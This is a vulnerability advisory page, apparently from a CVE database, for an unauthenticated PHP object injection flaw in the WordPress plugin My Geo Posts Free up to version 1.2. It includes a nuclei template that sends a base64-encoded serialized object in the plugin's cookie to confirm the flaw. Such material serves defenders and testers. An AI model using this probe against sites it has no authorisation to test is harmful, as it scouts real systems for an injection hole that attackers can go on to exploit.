HexBrain

Browse / CVEs / CVE-2024-52433

CVE-2024-52433· mindstien / my geo posts free· CWE-502

My Geo Posts Free <= 1.2 - PHP Object Injection

criticalseverity
9.8CVSS score
3.1%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

The My Geo Posts Free plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 1.2 via deserialization of untrusted input. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.

Impact

Unauthenticated attackers can inject PHP objects via deserialization of the mgpf_geo_coockie cookie, which could lead to arbitrary file deletion, sensitive data retrieval, or code execution if a POP chain is present.

Fix

Update My Geo Posts Free plugin to a version later than 1.2 that addresses the insecure deserialization vulnerability.

How to confirm it

Send: GET {{BaseURL}}/
Positive when: contains_all(body, "Warning", "mgpf_get_geo_location()", "unserialize", "{{cls}}") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-52433 -u <target>

The full check
id: CVE-2024-52433

info:
  name: My Geo Posts Free <= 1.2 - PHP Object Injection
  author: s4e-io
  severity: critical
  description: |
    The My Geo Posts Free plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 1.2 via deserialization of untrusted input. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.
  impact: |
    Unauthenticated attackers can inject PHP objects via deserialization of the mgpf_geo_coockie cookie, which could lead to arbitrary file deletion, sensitive data retrieval, or code execution if a POP chain is present.
  remediation: |
    Update My Geo Posts Free plugin to a version later than 1.2 that addresses the insecure deserialization vulnerability.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2024-52433
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/my-geo-posts-free/my-geo-posts-free-12-unauthenticated-php-object-injection
    - https://patchstack.com/database/vulnerability/my-geo-posts-free/wordpress-my-geo-posts-free-plugin-1-2-php-object-injection-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2024-52433
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-52433
    cwe-id: CWE-502
    epss-score: 0.03075
    epss-percentile: 0.87767
    cpe: cpe:2.3:a:mindstien:my_geo_posts_free:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mindstien
    product: my_geo_posts_free
    framework: wordpress
  tags: cve,cve2024,wordpress,wp,wp-plugin,my-geo-posts-free,php,injection,vuln

variables:
  cls: '{{rand_text_alpha(8)}}'
  payload: 'O:8:"{{cls}}":0:{}'
  encrypt: '{{base64(payload)}}'

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    headers:
      Cookie: "mgpf_geo_coockie={{encrypt}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Warning", "mgpf_get_geo_location()", "unserialize", "{{cls}}")'
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from